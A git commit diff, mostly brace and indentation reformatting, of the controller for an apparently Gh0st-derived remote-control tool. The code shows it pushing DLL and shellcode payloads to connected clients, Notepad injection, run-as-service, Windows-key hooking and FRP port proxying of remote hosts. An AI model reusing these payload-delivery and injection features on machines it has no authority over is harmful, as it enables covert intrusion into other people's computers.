Feature: Support customizing client name and install directory

This commit is contained in:
yuanyuanxiang
2026-01-10 16:59:02 +01:00
parent 808371ed6e
commit daa70f9777
47 changed files with 1423 additions and 1171 deletions

View File

@@ -106,7 +106,8 @@ std::string GetPwdHash();
#include <shlobj.h>
#include "ZstdArchive.h"
bool RegisterZstaMenu(const std::string& exePath) {
bool RegisterZstaMenu(const std::string& exePath)
{
HKEY hKey;
const char* compressText = "压缩为 ZSTA 文件";
const char* extractText = "解压 ZSTA 文件";
@@ -159,7 +160,8 @@ bool RegisterZstaMenu(const std::string& exePath) {
return true;
}
bool UnregisterZstaMenu() {
bool UnregisterZstaMenu()
{
RegDeleteTreeA(HKEY_CLASSES_ROOT, "*\\shell\\CompressToZsta");
RegDeleteTreeA(HKEY_CLASSES_ROOT, "Directory\\shell\\CompressToZsta");
RegDeleteTreeA(HKEY_CLASSES_ROOT, ".zsta");
@@ -168,7 +170,8 @@ bool UnregisterZstaMenu() {
return true;
}
std::string RemoveTrailingSlash(const std::string& path) {
std::string RemoveTrailingSlash(const std::string& path)
{
std::string p = path;
while (!p.empty() && (p.back() == '/' || p.back() == '\\')) {
p.pop_back();
@@ -176,7 +179,8 @@ std::string RemoveTrailingSlash(const std::string& path) {
return p;
}
std::string RemoveZstaExtension(const std::string& path) {
std::string RemoveZstaExtension(const std::string& path)
{
if (path.size() >= 5) {
std::string ext = path.substr(path.size() - 5);
for (char& c : ext) c = tolower(c);
@@ -323,7 +327,8 @@ BOOL LaunchAsAdmin(const char* szFilePath, const char* verb)
return ShellExecuteExA(&shExecInfo);
}
BOOL CMy2015RemoteApp::ProcessZstaCmd() {
BOOL CMy2015RemoteApp::ProcessZstaCmd()
{
// 检查是否已注册右键菜单
char exePath[MAX_PATH];
GetModuleFileNameA(NULL, exePath, MAX_PATH);
@@ -332,7 +337,7 @@ BOOL CMy2015RemoteApp::ProcessZstaCmd() {
HKEY hKey;
bool needRegister = false;
if (RegOpenKeyExA(HKEY_CLASSES_ROOT, "ZstaArchive\\shell\\extract\\command",
0, KEY_READ, &hKey) == ERROR_SUCCESS) {
0, KEY_READ, &hKey) == ERROR_SUCCESS) {
char regPath[MAX_PATH * 2] = { 0 };
DWORD size = sizeof(regPath);
RegQueryValueExA(hKey, NULL, NULL, NULL, (BYTE*)regPath, &size);
@@ -342,8 +347,7 @@ BOOL CMy2015RemoteApp::ProcessZstaCmd() {
if (strstr(regPath, exePath) == NULL) {
needRegister = true; // 路径不同,需要重新注册
}
}
else {
} else {
needRegister = true; // 未注册
}
@@ -380,7 +384,7 @@ BOOL CMy2015RemoteApp::InitInstance()
if (!ProcessZstaCmd()) {
Mprintf("[InitInstance] 处理自定义压缩/解压命令后退出。\n");
return FALSE;
}
}
#if _DEBUG
BOOL runNormal = TRUE;
@@ -459,15 +463,14 @@ BOOL CMy2015RemoteApp::InitInstance()
// 例如修改为公司或组织名
SetRegistryKey(_T("YAMA"));
// 注册一个事件,用于进程间通信
// 请勿修改此事件名称,否则可能导致无法启动程序、鉴权失败等问题
// 注册一个事件,用于进程间通信
// 请勿修改此事件名称,否则可能导致无法启动程序、鉴权失败等问题
char eventName[64] = { 0 };
sprintf(eventName, "YAMA_%d", GetCurrentProcessId());
HANDLE hEvent = CreateEventA(NULL, TRUE, FALSE, eventName);
if (hEvent == NULL) {
Mprintf("[InitInstance] 创建事件失败,错误码: %d\n", GetLastError());
}
else {
} else {
Mprintf("[InitInstance] 创建事件成功,事件名: %s\n", eventName);
}
@@ -490,7 +493,7 @@ BOOL CMy2015RemoteApp::InitInstance()
if (hEvent) {
SAFE_CLOSE_HANDLE(hEvent);
Mprintf("[InitInstance] 关闭事件句柄。\n");
}
}
// 由于对话框已关闭,所以将返回 FALSE 以便退出应用程序,
// 而不是启动应用程序的消息泵。

Binary file not shown.

View File

@@ -330,22 +330,22 @@ DllInfo* ReadTinyRunDll(int pid)
DllInfo* ReadFrpcDll()
{
std::string name = FRPC_DLL_NAME;
DWORD fileSize = 0;
BYTE* dllData = ReadResource(IDR_BINARY_FRPC, fileSize);
// 设置输出参数
auto md5 = CalcMD5FromBytes(dllData, fileSize);
DllExecuteInfoNew info = { MEMORYDLL, fileSize, CALLTYPE_FRPC_CALL };
memcpy(info.Name, name.c_str(), name.length());
memcpy(info.Md5, md5.c_str(), md5.length());
BYTE* buffer = new BYTE[1 + sizeof(DllExecuteInfoNew) + fileSize];
buffer[0] = CMD_EXECUTE_DLL_NEW;
memcpy(buffer + 1, &info, sizeof(DllExecuteInfoNew));
memcpy(buffer + 1 + sizeof(DllExecuteInfoNew), dllData, fileSize);
Buffer* buf = new Buffer(buffer, 1 + sizeof(DllExecuteInfoNew) + fileSize, 0, md5);
SAFE_DELETE_ARRAY(dllData);
SAFE_DELETE_ARRAY(buffer);
return new DllInfo{ name, buf };
std::string name = FRPC_DLL_NAME;
DWORD fileSize = 0;
BYTE* dllData = ReadResource(IDR_BINARY_FRPC, fileSize);
// 设置输出参数
auto md5 = CalcMD5FromBytes(dllData, fileSize);
DllExecuteInfoNew info = { MEMORYDLL, fileSize, CALLTYPE_FRPC_CALL };
memcpy(info.Name, name.c_str(), name.length());
memcpy(info.Md5, md5.c_str(), md5.length());
BYTE* buffer = new BYTE[1 + sizeof(DllExecuteInfoNew) + fileSize];
buffer[0] = CMD_EXECUTE_DLL_NEW;
memcpy(buffer + 1, &info, sizeof(DllExecuteInfoNew));
memcpy(buffer + 1 + sizeof(DllExecuteInfoNew), dllData, fileSize);
Buffer* buf = new Buffer(buffer, 1 + sizeof(DllExecuteInfoNew) + fileSize, 0, md5);
SAFE_DELETE_ARRAY(dllData);
SAFE_DELETE_ARRAY(buffer);
return new DllInfo{ name, buf };
}
std::vector<DllInfo*> ReadAllDllFilesWindows(const std::string& dirPath)
@@ -605,10 +605,10 @@ BEGIN_MESSAGE_MAP(CMy2015RemoteDlg, CDialogEx)
ON_COMMAND(ID_ONLINE_INJ_NOTEPAD, &CMy2015RemoteDlg::OnOnlineInjNotepad)
ON_COMMAND(ID_PARAM_LOGIN_NOTIFY, &CMy2015RemoteDlg::OnParamLoginNotify)
ON_COMMAND(ID_PARAM_ENABLE_LOG, &CMy2015RemoteDlg::OnParamEnableLog)
ON_COMMAND(ID_PROXY_PORT, &CMy2015RemoteDlg::OnProxyPort)
ON_COMMAND(ID_HOOK_WIN, &CMy2015RemoteDlg::OnHookWin)
ON_COMMAND(ID_RUNAS_SERVICE, &CMy2015RemoteDlg::OnRunasService)
END_MESSAGE_MAP()
ON_COMMAND(ID_PROXY_PORT, &CMy2015RemoteDlg::OnProxyPort)
ON_COMMAND(ID_HOOK_WIN, &CMy2015RemoteDlg::OnHookWin)
ON_COMMAND(ID_RUNAS_SERVICE, &CMy2015RemoteDlg::OnRunasService)
END_MESSAGE_MAP()
// CMy2015RemoteDlg 消息处理程序
@@ -847,8 +847,8 @@ VOID CMy2015RemoteDlg::AddList(CString strIP, CString strAddr, CString strPCName
std::string tip = flag ? " (" + v[RES_CLIENT_PUBIP] + ") " : "";
ShowMessage("操作成功",strIP + tip.c_str() + "主机上线[" + loc + "]");
CharMsg *title = new CharMsg("主机上线");
CharMsg *text = new CharMsg(strIP + CString(tip.c_str()) + _T(" 主机上线 [") + loc + _T("]"));
CharMsg *title = new CharMsg("主机上线");
CharMsg *text = new CharMsg(strIP + CString(tip.c_str()) + _T(" 主机上线 [") + loc + _T("]"));
LeaveCriticalSection(&m_cs);
Mprintf("主机[%s]上线: %s\n", v[RES_CLIENT_PUBIP].empty() ? strIP : v[RES_CLIENT_PUBIP].c_str(),
std::to_string(id).c_str());
@@ -861,7 +861,8 @@ VOID CMy2015RemoteDlg::AddList(CString strIP, CString strAddr, CString strPCName
}
}
LRESULT CMy2015RemoteDlg::OnShowNotify(WPARAM wParam, LPARAM lParam) {
LRESULT CMy2015RemoteDlg::OnShowNotify(WPARAM wParam, LPARAM lParam)
{
CharMsg* title = (CharMsg*)wParam, * text = (CharMsg*)lParam;
if (::IsWindow(m_Nid.hWnd)) {
@@ -875,8 +876,8 @@ LRESULT CMy2015RemoteDlg::OnShowNotify(WPARAM wParam, LPARAM lParam) {
Shell_NotifyIcon(NIM_MODIFY, &nidCopy);
SetTimer(TIMER_CLEAR_BALLOON, nidCopy.uTimeout, nullptr);
}
if (title->needFree) delete title;
if (text->needFree) delete text;
if (title->needFree) delete title;
if (text->needFree) delete text;
return S_OK;
}
@@ -1286,7 +1287,7 @@ BOOL CMy2015RemoteDlg::OnInitDialog()
SubMenu->CheckMenuItem(ID_PARAM_ENABLE_LOG, m_settings.EnableLog ? MF_CHECKED : MF_UNCHECKED);
m_bHookWIN = THIS_CFG.GetInt("settings", "HookWIN", 0);
SubMenu->CheckMenuItem(ID_HOOK_WIN, m_bHookWIN ? MF_CHECKED : MF_UNCHECKED);
m_runNormal = THIS_CFG.GetInt("settings", "RunNormal", 0);
m_runNormal = THIS_CFG.GetInt("settings", "RunNormal", 0);
SubMenu->CheckMenuItem(ID_RUNAS_SERVICE, !m_runNormal ? MF_CHECKED : MF_UNCHECKED);
std::map<int, std::string> myMap = {{SOFTWARE_CAMERA, "摄像头"}, {SOFTWARE_TELEGRAM, "电报" }};
std::string str = myMap[n];
@@ -1573,8 +1574,7 @@ void CMy2015RemoteDlg::OnTimer(UINT_PTR nIDEvent)
if (nIDEvent == TIMER_CLOSEWND) {
DeletePopupWindow();
}
if (nIDEvent == TIMER_CLEAR_BALLOON)
{
if (nIDEvent == TIMER_CLEAR_BALLOON) {
KillTimer(TIMER_CLEAR_BALLOON);
// 清除气球通知
@@ -2317,9 +2317,9 @@ bool SendData(void* user, FileChunkPacket* chunk, BYTE* data, int size)
if (!ctx->Send2Client(data, size)) {
return false;
}
CDlgFileSend* dlg = (CDlgFileSend*)ctx->hDlg;
CDlgFileSend* dlg = (CDlgFileSend*)ctx->hDlg;
BYTE* name = data + sizeof(FileChunkPacket);
dlg->UpdateProgress(CString((char*)name, chunk->nameLength), chunk);
dlg->UpdateProgress(CString((char*)name, chunk->nameLength), chunk);
return true;
}
@@ -2328,7 +2328,7 @@ void delay_cancel(CONTEXT_OBJECT* ctx, int sec)
{
if (!ctx) return;
CDlgFileSend* dlg = (CDlgFileSend*)ctx->hDlg;
dlg->FinishFileSend(TRUE);
dlg->FinishFileSend(TRUE);
Sleep(sec*1000);
dlg->PostMessageA(WM_CLOSE);
ctx->hDlg = NULL;
@@ -2346,7 +2346,7 @@ BOOL CMy2015RemoteDlg::AuthorizeClient(const std::string& sn, const std::string&
{
if (sn.empty() || passcode.empty() || hmac == 0) {
return FALSE;
}
}
static const char* superAdmin = getenv("YAMA_PWD");
std::string pwd = superAdmin ? superAdmin : m_superPass;
return VerifyMessage(pwd, (BYTE*)passcode.c_str(), passcode.length(), hmac);
@@ -2355,22 +2355,20 @@ BOOL CMy2015RemoteDlg::AuthorizeClient(const std::string& sn, const std::string&
// 从char数组解析出多个路径
std::vector<std::string> ParseMultiStringPath(const char* buffer, size_t size)
{
std::vector<std::string> paths;
std::vector<std::string> paths;
const char* p = buffer;
const char* end = buffer + size;
const char* p = buffer;
const char* end = buffer + size;
while (p < end)
{
size_t len = strlen(p);
if (len > 0)
{
paths.emplace_back(p, len);
}
p += len + 1;
}
while (p < end) {
size_t len = strlen(p);
if (len > 0) {
paths.emplace_back(p, len);
}
p += len + 1;
}
return paths;
return paths;
}
VOID CMy2015RemoteDlg::MessageHandle(CONTEXT_OBJECT* ContextObject)
@@ -2406,7 +2404,7 @@ VOID CMy2015RemoteDlg::MessageHandle(CONTEXT_OBJECT* ContextObject)
valid = (hash256 == fixedKey);
}
if (valid) {
valid = AuthorizeClient(sn, passcode, hmac);
valid = AuthorizeClient(sn, passcode, hmac);
if (valid) {
Mprintf("%s 校验成功, HMAC 校验成功: %s\n", passcode.c_str(), sn.c_str());
std::string tip = passcode + " 校验成功: " + sn;
@@ -2429,20 +2427,20 @@ VOID CMy2015RemoteDlg::MessageHandle(CONTEXT_OBJECT* ContextObject)
}
case COMMAND_GET_FILE: {
// 发送文件
std::string dir = (char*)(szBuffer + 1);
char* ptr = (char*)szBuffer + 1 + dir.length() + 1;
std::string dir = (char*)(szBuffer + 1);
char* ptr = (char*)szBuffer + 1 + dir.length() + 1;
auto md5 = CalcMD5FromBytes((BYTE*)ptr, len - 2 - dir.length());
if (!m_CmdList.PopCmd(md5)) {
Mprintf("【警告】文件传输指令非法或已过期: %s\n", md5.c_str());
ContextObject->CancelIO();
break;
}
auto files = *ptr ? ParseMultiStringPath(ptr, len - 2 - dir.length()) : std::vector<std::string>{};
auto files = *ptr ? ParseMultiStringPath(ptr, len - 2 - dir.length()) : std::vector<std::string> {};
if (!files.empty()) {
CDlgFileSend* dlg = new CDlgFileSend(this, ContextObject->GetServer(), ContextObject, TRUE);
dlg->Create(IDD_DIALOG_FILESEND, GetDesktopWindow());
dlg->ShowWindow(SW_HIDE);
ContextObject->hDlg = dlg;
CDlgFileSend* dlg = new CDlgFileSend(this, ContextObject->GetServer(), ContextObject, TRUE);
dlg->Create(IDD_DIALOG_FILESEND, GetDesktopWindow());
dlg->ShowWindow(SW_HIDE);
ContextObject->hDlg = dlg;
std::string hash = GetPwdHash(), hmac = GetHMAC(100);
std::thread(FileBatchTransferWorker, files, dir, ContextObject, SendData, FinishSend,
hash, hmac).detach();
@@ -2460,7 +2458,7 @@ VOID CMy2015RemoteDlg::MessageHandle(CONTEXT_OBJECT* ContextObject)
ContextObject->hDlg = dlg;
}
DialogBase* dlg = (DialogBase*)ContextObject->hDlg;
dlg->OnReceiveComplete();
dlg->OnReceiveComplete();
break;
}
@@ -2518,39 +2516,38 @@ VOID CMy2015RemoteDlg::MessageHandle(CONTEXT_OBJECT* ContextObject)
break;
}
case CMD_EXECUTE_DLL: { // 请求DLL执行代码【L】
case CMD_EXECUTE_DLL_NEW:
DllExecuteInfo *info = (DllExecuteInfo*)ContextObject->InDeCompressedBuffer.GetBuffer(1);
if (std::string(info->Name) == TINY_DLL_NAME) {
auto tinyRun = ReadTinyRunDll(info->Pid);
Buffer* buf = tinyRun->Data;
ContextObject->Send2Client(buf->Buf(), tinyRun->Data->length());
SAFE_DELETE(tinyRun);
break;
}
else if (std::string(info->Name) == FRPC_DLL_NAME) {
auto frpc = ReadFrpcDll();
Buffer* buf = frpc->Data;
ContextObject->Send2Client(buf->Buf(), frpc->Data->length());
SAFE_DELETE(frpc);
break;
}
for (std::vector<DllInfo*>::const_iterator i=m_DllList.begin(); i!=m_DllList.end(); ++i) {
DllInfo* dll = *i;
if (dll->Name == info->Name) {
// TODO 如果是UDP发送大包数据基本上不可能成功
ContextObject->Send2Client(dll->Data->Buf(), dll->Data->length());
case CMD_EXECUTE_DLL_NEW:
DllExecuteInfo *info = (DllExecuteInfo*)ContextObject->InDeCompressedBuffer.GetBuffer(1);
if (std::string(info->Name) == TINY_DLL_NAME) {
auto tinyRun = ReadTinyRunDll(info->Pid);
Buffer* buf = tinyRun->Data;
ContextObject->Send2Client(buf->Buf(), tinyRun->Data->length());
SAFE_DELETE(tinyRun);
break;
} else if (std::string(info->Name) == FRPC_DLL_NAME) {
auto frpc = ReadFrpcDll();
Buffer* buf = frpc->Data;
ContextObject->Send2Client(buf->Buf(), frpc->Data->length());
SAFE_DELETE(frpc);
break;
}
for (std::vector<DllInfo*>::const_iterator i=m_DllList.begin(); i!=m_DllList.end(); ++i) {
DllInfo* dll = *i;
if (dll->Name == info->Name) {
// TODO 如果是UDP发送大包数据基本上不可能成功
ContextObject->Send2Client(dll->Data->Buf(), dll->Data->length());
break;
}
}
auto dll = ReadPluginDll(PluginPath() + "\\" + info->Name, { SHELLCODE, 0, CALLTYPE_DEFAULT, {}, {}, info->Pid, info->Is32Bit });
if (dll) {
Buffer* buf = dll->Data;
ContextObject->Send2Client(buf->Buf(), dll->Data->length());
SAFE_DELETE(dll);
}
Sleep(20);
break;
}
auto dll = ReadPluginDll(PluginPath() + "\\" + info->Name, { SHELLCODE, 0, CALLTYPE_DEFAULT, {}, {}, info->Pid, info->Is32Bit });
if (dll) {
Buffer* buf = dll->Data;
ContextObject->Send2Client(buf->Buf(), dll->Data->length());
SAFE_DELETE(dll);
}
Sleep(20);
break;
}
case COMMAND_PROXY: { // 代理映射【x】
g_2015RemoteDlg->SendMessage(WM_OPENPROXYDIALOG, 0, (LPARAM)ContextObject);
break;
@@ -2783,14 +2780,14 @@ void CMy2015RemoteDlg::UpdateActiveWindow(CONTEXT_OBJECT* ctx)
// 回复心跳
// if(0)
{
BOOL authorized = AuthorizeClient(hb.SN, hb.Passcode, hb.PwdHmac);
if (authorized) {
Mprintf("%s HMAC 校验成功: %lld\n", hb.Passcode, hb.PwdHmac);
std::string tip = std::string(hb.Passcode) + " 授权成功: ";
tip += std::to_string(hb.PwdHmac) + "[" + std::string(ctx->GetClientData(ONLINELIST_IP)) + "]";
CharMsg* msg = new CharMsg(tip.c_str());
PostMessageA(WM_SHOWMESSAGE, (WPARAM)msg, NULL);
}
BOOL authorized = AuthorizeClient(hb.SN, hb.Passcode, hb.PwdHmac);
if (authorized) {
Mprintf("%s HMAC 校验成功: %lld\n", hb.Passcode, hb.PwdHmac);
std::string tip = std::string(hb.Passcode) + " 授权成功: ";
tip += std::to_string(hb.PwdHmac) + "[" + std::string(ctx->GetClientData(ONLINELIST_IP)) + "]";
CharMsg* msg = new CharMsg(tip.c_str());
PostMessageA(WM_SHOWMESSAGE, (WPARAM)msg, NULL);
}
HeartbeatACK ack = { hb.Time, (char)authorized };
BYTE buf[sizeof(HeartbeatACK) + 1] = { CMD_HEARTBEAT_ACK};
memcpy(buf + 1, &ack, sizeof(HeartbeatACK));
@@ -3171,33 +3168,31 @@ char* ReadFileToBuffer(const std::string &path, size_t& outSize)
BOOL WriteBinaryToFile(const char* path, const char* data, ULONGLONG size, LONGLONG offset)
{
std::string filePath = path;
std::fstream outFile;
std::string filePath = path;
std::fstream outFile;
if (offset == 0) {
// offset=0 时截断文件,等同覆盖写入
outFile.open(filePath, std::ios::binary | std::ios::out | std::ios::trunc);
}
else if (offset == -1) {
// offset=-1 时追加写入
outFile.open(filePath, std::ios::binary | std::ios::out | std::ios::app);
}
else {
// 非0偏移保留原内容定位写入
outFile.open(filePath, std::ios::binary | std::ios::in | std::ios::out);
if (offset == 0) {
// offset=0 时截断文件,等同覆盖写入
outFile.open(filePath, std::ios::binary | std::ios::out | std::ios::trunc);
} else if (offset == -1) {
// offset=-1 时追加写入
outFile.open(filePath, std::ios::binary | std::ios::out | std::ios::app);
} else {
// 非0偏移保留原内容定位写入
outFile.open(filePath, std::ios::binary | std::ios::in | std::ios::out);
// 文件不存在时创建
if (!outFile) {
outFile.open(filePath, std::ios::binary | std::ios::out);
}
}
// 文件不存在时创建
if (!outFile) {
outFile.open(filePath, std::ios::binary | std::ios::out);
}
}
if (!outFile) {
Mprintf("Failed to open or create the file: %s.\n", filePath.c_str());
return FALSE;
}
if (!outFile) {
Mprintf("Failed to open or create the file: %s.\n", filePath.c_str());
return FALSE;
}
// 追加模式不需要 seekp, 其他情况定位到指定位置
// 追加模式不需要 seekp, 其他情况定位到指定位置
if (offset != -1) {
// 定位到指定位置
outFile.seekp(offset, std::ios::beg);
@@ -3210,20 +3205,19 @@ BOOL WriteBinaryToFile(const char* path, const char* data, ULONGLONG size, LONGL
}
}
// 写入二进制数据
outFile.write(data, size);
// 写入二进制数据
outFile.write(data, size);
if (outFile.good()) {
Mprintf("Binary data written successfully to %s.\n", filePath.c_str());
}
else {
Mprintf("Failed to write data to file.\n");
outFile.close();
return FALSE;
}
if (outFile.good()) {
Mprintf("Binary data written successfully to %s.\n", filePath.c_str());
} else {
Mprintf("Failed to write data to file.\n");
outFile.close();
return FALSE;
}
outFile.close();
return TRUE;
outFile.close();
return TRUE;
}
int run_cmd(std::string cmdLine)
@@ -4289,74 +4283,74 @@ LRESULT CALLBACK CMy2015RemoteDlg::LowLevelKeyboardProc(int nCode, WPARAM wParam
do {
static CDialogBase* operateWnd = nullptr;
KBDLLHOOKSTRUCT* pKey = (KBDLLHOOKSTRUCT*)lParam;
// 先判断是否需要处理的热键
bool bNeedCheck = false;
if (wParam == WM_SYSKEYDOWN || wParam == WM_SYSKEYUP) {
// 所有系统键都需要检查
bNeedCheck = true;
}
// Win 键 (开始菜单、Win+D/E/R/L 等)
else if (pKey->vkCode == VK_LWIN || pKey->vkCode == VK_RWIN) {
bNeedCheck = true;
}
// Alt+Tab (切换窗口)
else if (pKey->vkCode == VK_TAB && (pKey->flags & LLKHF_ALTDOWN)) {
bNeedCheck = true;
}
// Alt+Esc (循环切换窗口)
else if (pKey->vkCode == VK_ESCAPE && (pKey->flags & LLKHF_ALTDOWN)) {
bNeedCheck = true;
}
// Ctrl+Shift+Esc (任务管理器)
else if (pKey->vkCode == VK_ESCAPE &&
(GetAsyncKeyState(VK_CONTROL) & 0x8000) &&
(GetAsyncKeyState(VK_SHIFT) & 0x8000)) {
bNeedCheck = true;
}
// Ctrl+Esc (开始菜单)
else if (pKey->vkCode == VK_ESCAPE && (GetAsyncKeyState(VK_CONTROL) & 0x8000)) {
bNeedCheck = true;
}
// F12 (调试器热键)
else if (pKey->vkCode == VK_F12 || pKey->vkCode == VK_F10) {
bNeedCheck = true;
}
// Print Screen (截图)
else if (pKey->vkCode == VK_SNAPSHOT) {
bNeedCheck = true;
}
// Win+Tab (任务视图)
else if (pKey->vkCode == VK_TAB &&
(GetAsyncKeyState(VK_LWIN) & 0x8000 || GetAsyncKeyState(VK_RWIN) & 0x8000)) {
bNeedCheck = true;
}
if (bNeedCheck && g_2015RemoteDlg->m_bHookWIN) {
// 先判断是否需要处理的热键
bool bNeedCheck = false;
if (wParam == WM_SYSKEYDOWN || wParam == WM_SYSKEYUP) {
// 所有系统键都需要检查
bNeedCheck = true;
}
// Win 键 (开始菜单、Win+D/E/R/L 等)
else if (pKey->vkCode == VK_LWIN || pKey->vkCode == VK_RWIN) {
bNeedCheck = true;
}
// Alt+Tab (切换窗口)
else if (pKey->vkCode == VK_TAB && (pKey->flags & LLKHF_ALTDOWN)) {
bNeedCheck = true;
}
// Alt+Esc (循环切换窗口)
else if (pKey->vkCode == VK_ESCAPE && (pKey->flags & LLKHF_ALTDOWN)) {
bNeedCheck = true;
}
// Ctrl+Shift+Esc (任务管理器)
else if (pKey->vkCode == VK_ESCAPE &&
(GetAsyncKeyState(VK_CONTROL) & 0x8000) &&
(GetAsyncKeyState(VK_SHIFT) & 0x8000)) {
bNeedCheck = true;
}
// Ctrl+Esc (开始菜单)
else if (pKey->vkCode == VK_ESCAPE && (GetAsyncKeyState(VK_CONTROL) & 0x8000)) {
bNeedCheck = true;
}
// F12 (调试器热键)
else if (pKey->vkCode == VK_F12 || pKey->vkCode == VK_F10) {
bNeedCheck = true;
}
// Print Screen (截图)
else if (pKey->vkCode == VK_SNAPSHOT) {
bNeedCheck = true;
}
// Win+Tab (任务视图)
else if (pKey->vkCode == VK_TAB &&
(GetAsyncKeyState(VK_LWIN) & 0x8000 || GetAsyncKeyState(VK_RWIN) & 0x8000)) {
bNeedCheck = true;
}
if (bNeedCheck && g_2015RemoteDlg->m_bHookWIN) {
HWND hFore = ::GetForegroundWindow();
auto screen = (CScreenSpyDlg*)g_2015RemoteDlg->GetRemoteWindow(hFore);
auto screen = (CScreenSpyDlg*)g_2015RemoteDlg->GetRemoteWindow(hFore);
if (screen && screen->m_bIsCtrl) {
MSG msg = { 0 };
msg.hwnd = hFore;
msg.message = (UINT)wParam;
msg.wParam = pKey->vkCode;
msg.lParam = (pKey->scanCode << 16) | 1;
MSG msg = { 0 };
msg.hwnd = hFore;
msg.message = (UINT)wParam;
msg.wParam = pKey->vkCode;
msg.lParam = (pKey->scanCode << 16) | 1;
if (wParam == WM_KEYUP || wParam == WM_SYSKEYUP) {
msg.lParam |= (1 << 31) | (1 << 30);
}
if (wParam == WM_KEYUP || wParam == WM_SYSKEYUP) {
msg.lParam |= (1 << 31) | (1 << 30);
}
// 扩展键标志 (bit 24)
if (pKey->flags & LLKHF_EXTENDED) {
msg.lParam |= (1 << 24);
}
// 扩展键标志 (bit 24)
if (pKey->flags & LLKHF_EXTENDED) {
msg.lParam |= (1 << 24);
}
msg.time = pKey->time;
msg.pt.x = 0;
msg.pt.y = 0;
msg.time = pKey->time;
msg.pt.x = 0;
msg.pt.y = 0;
screen->SendScaledMouseMessage(&msg, false);
// 返回 1 阻止本地系统处理
return 1;
// 返回 1 阻止本地系统处理
return 1;
}
}
}
// 只在按下时处理
if (wParam == WM_KEYDOWN) {
// 检测 Ctrl+C / Ctrl+X
@@ -4382,7 +4376,7 @@ LRESULT CALLBACK CMy2015RemoteDlg::LowLevelKeyboardProc(int nCode, WPARAM wParam
auto files = GetClipboardFiles(result);
if (!files.empty()) {
// 获取远程目录
auto str = BuildMultiStringPath(files);
auto str = BuildMultiStringPath(files);
BYTE* szBuffer = new BYTE[81 + str.size()];
szBuffer[0] = { COMMAND_GET_FOLDER };
std::string masterId = GetPwdHash(), hmac = GetHMAC(100);
@@ -4574,63 +4568,60 @@ void CMy2015RemoteDlg::OnParamEnableLog()
bool IsDateGreaterOrEqual(const char* date1, const char* date2)
{
const char* months[] = {
"Jan", "Feb", "Mar", "Apr", "May", "Jun",
"Jul", "Aug", "Sep", "Oct", "Nov", "Dec"
};
const char* months[] = {
"Jan", "Feb", "Mar", "Apr", "May", "Jun",
"Jul", "Aug", "Sep", "Oct", "Nov", "Dec"
};
auto parseDate = [&months](const char* date, int& year, int& month, int& day) {
char mon[4] = { 0 };
sscanf(date, "%3s %d %d", mon, &day, &year);
month = 0;
for (int i = 0; i < 12; i++) {
if (strcmp(mon, months[i]) == 0) {
month = i + 1;
break;
}
}
};
auto parseDate = [&months](const char* date, int& year, int& month, int& day) {
char mon[4] = { 0 };
sscanf(date, "%3s %d %d", mon, &day, &year);
month = 0;
for (int i = 0; i < 12; i++) {
if (strcmp(mon, months[i]) == 0) {
month = i + 1;
break;
}
}
};
int y1, m1, d1, y2, m2, d2;
parseDate(date1, y1, m1, d1);
parseDate(date2, y2, m2, d2);
int y1, m1, d1, y2, m2, d2;
parseDate(date1, y1, m1, d1);
parseDate(date2, y2, m2, d2);
if (y1 != y2) return y1 >= y2;
if (m1 != m2) return m1 >= m2;
return d1 >= d2;
if (y1 != y2) return y1 >= y2;
if (m1 != m2) return m1 >= m2;
return d1 >= d2;
}
std::string GetAuthKey(const char* token, long long timestamp)
{
char tsStr[32];
sprintf_s(tsStr, "%lld", timestamp);
char tsStr[32];
sprintf_s(tsStr, "%lld", timestamp);
HCRYPTPROV hProv = 0;
HCRYPTHASH hHash = 0;
std::string result;
HCRYPTPROV hProv = 0;
HCRYPTHASH hHash = 0;
std::string result;
if (CryptAcquireContextW(&hProv, nullptr, nullptr, PROV_RSA_FULL, CRYPT_VERIFYCONTEXT))
{
if (CryptCreateHash(hProv, CALG_MD5, 0, 0, &hHash))
{
CryptHashData(hHash, (BYTE*)token, (DWORD)strlen(token), 0);
CryptHashData(hHash, (BYTE*)tsStr, (DWORD)strlen(tsStr), 0);
if (CryptAcquireContextW(&hProv, nullptr, nullptr, PROV_RSA_FULL, CRYPT_VERIFYCONTEXT)) {
if (CryptCreateHash(hProv, CALG_MD5, 0, 0, &hHash)) {
CryptHashData(hHash, (BYTE*)token, (DWORD)strlen(token), 0);
CryptHashData(hHash, (BYTE*)tsStr, (DWORD)strlen(tsStr), 0);
BYTE hash[16];
DWORD cbHash = sizeof(hash);
if (CryptGetHashParam(hHash, HP_HASHVAL, hash, &cbHash, 0))
{
char hex[33];
for (int i = 0; i < 16; i++)
sprintf_s(hex + i * 2, 3, "%02x", hash[i]);
result = hex;
}
CryptDestroyHash(hHash);
}
CryptReleaseContext(hProv, 0);
}
BYTE hash[16];
DWORD cbHash = sizeof(hash);
if (CryptGetHashParam(hHash, HP_HASHVAL, hash, &cbHash, 0)) {
char hex[33];
for (int i = 0; i < 16; i++)
sprintf_s(hex + i * 2, 3, "%02x", hash[i]);
result = hex;
}
CryptDestroyHash(hHash);
}
CryptReleaseContext(hProv, 0);
}
return result;
return result;
}
// 基于FRP将客户端端口代理到主控程序的公网
@@ -4646,66 +4637,65 @@ void CMy2015RemoteDlg::OnProxyPort()
}
CInputDialog dlg(this);
dlg.Init("代理端口", "请输入客户端端口:");
if (IDOK != dlg.DoModal() || atoi(dlg.m_str) <= 0 || atoi(dlg.m_str) >= 65536) {
return;
}
if (IDOK != dlg.DoModal() || atoi(dlg.m_str) <= 0 || atoi(dlg.m_str) >= 65536) {
return;
}
uint64_t timestamp = time(nullptr);
std::string key = GetAuthKey(pwd.c_str(), timestamp);
int serverPort = THIS_CFG.GetInt("frp", "server_port", 7000);
int serverPort = THIS_CFG.GetInt("frp", "server_port", 7000);
int localPort = atoi(dlg.m_str);
auto frpc = ReadFrpcDll();
auto frpc = ReadFrpcDll();
FrpcParam param(key.c_str(), timestamp, ip.c_str(), serverPort, localPort, localPort);
EnterCriticalSection(&m_cs);
POSITION Pos = m_CList_Online.GetFirstSelectedItemPosition();
BOOL sent = FALSE;
while (Pos) {
int iItem = m_CList_Online.GetNextSelectedItem(Pos);
context* ctx = (context*)m_CList_Online.GetItemData(iItem);
if (!ctx->IsLogin())
continue;
EnterCriticalSection(&m_cs);
POSITION Pos = m_CList_Online.GetFirstSelectedItemPosition();
BOOL sent = FALSE;
while (Pos) {
int iItem = m_CList_Online.GetNextSelectedItem(Pos);
context* ctx = (context*)m_CList_Online.GetItemData(iItem);
if (!ctx->IsLogin())
continue;
CString date = ctx->GetClientData(ONLINELIST_VERSION);
if (IsDateGreaterOrEqual(date, "Dec 22 2025")) {
Buffer* buf = frpc->Data;
